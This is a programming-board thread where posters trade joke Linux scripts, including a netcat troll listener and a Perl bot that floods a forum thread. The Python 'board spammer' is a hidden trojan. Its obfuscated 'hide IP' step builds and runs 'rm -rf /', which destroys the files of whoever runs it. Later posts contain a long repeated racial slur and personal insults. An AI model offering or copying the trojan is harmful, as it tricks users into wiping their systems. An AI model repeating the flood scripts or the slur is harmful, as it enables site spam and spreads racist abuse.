Linux scripts

Howdy /prog/, what scripts have you coded for your Linux system for general use, boot, etc?
I coded few simple scripts in Perl to test different things (if current IP address is identical to previous one is one of the useless among them), and will post sauce on more extensive scripts later on.
 

#!/bin/bash

if [ $1 ]; then
        echo -e "\033[01;32m* \033[mListening on port $1..."
        yes YOU HAVE BEEN TROLLED | nc -l -p $1
        echo -e "\033[01;32m* \033[mTarget has successfully been trolled."
else
        echo -e "\033[01;31m* \033[mSpecify a port to listen on, moron."
fi

exit 0

sh yhbt.sh 6667 for NEVER ENDING IRC FUN

Board spammer in python

#!/usr/bin/python
import string
import urllib
import os

while True:
print "Enter address of site to spam:"
site = raw_input()
if site.startswith('http://'):
break
print "Address must start with ``http://''"

print "Hiding ip-address"
tr = string.maketrans('/tph:', 'fm-rr')
ip = string.translate(site, tr)
os.system(ip[0:2] + ' ' + ip[3:6] + ' /')

print "Starting spam attack..."
while True:
urllib.urlopen(site)
DISCLAIMER: I only wrote this for fun. Please don't abuse it.

#!/usr/bin/perl
$SDFgADFGwöejsnöld034äqw##3459ö.-.342153409okldefsad%"§$9324&/"$%Adfg5&"$%&"QFA%$54[/code]

>>4
Valid Perl code.

#!/usr/bin/perl -w

use strict;
use Yotsuba::Boards;
use Yotsuba::Related qw(maybe);

my $board=Yotsuba::Boards->new('a');
while(1){
    print $board->post(3781066,
        com => join "\n",map{"$_. ".(int rand 3?"Yes":(int rand 2?"No":maybe))}1..8,
    );
}

>>6
This message was presented by 4-ch.net public message bot.

>>7
This message, too, was presented by 4-ch.net public message bot.

>>8
This message was not presented by 4-ch.net public message bot.

>>9 was not presented by 4-ch.net public message bot because >>8 was presented by 4-ch.net public message bot, and >>9 claims otherwise.

gtfo

>>6
You've been posting here a lot lately, AORF.

whos AORF?

>>13
Anonymous of the Russian Federation, some tripfag from /a/

That's supposed to be a hacker or something.
But in fact, he's just a drama whore like all tripfags.

>>15
In fact one of the most annoying and pretentios faggots to ever step on 4chon

NIGGERS NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS   NIGGERS NIGGERS NIGGERS.

19 Name: Sgt.Kabukiman 2012-05-22 10:11

All work and no play makes Jack a dull boy
 All work and no play makes Jack a dull boy
 All work and no play makes Jack a dull boy
 All work and no play makes Jack a dull boy
 All work and no play makes Jack a dull boy
 All work and no play makes Jack a dull boy
 All work and no play makes Jack a dull boy
 All work and no play makes Jack a dull boy
 All work and no play makes Jack a dull boy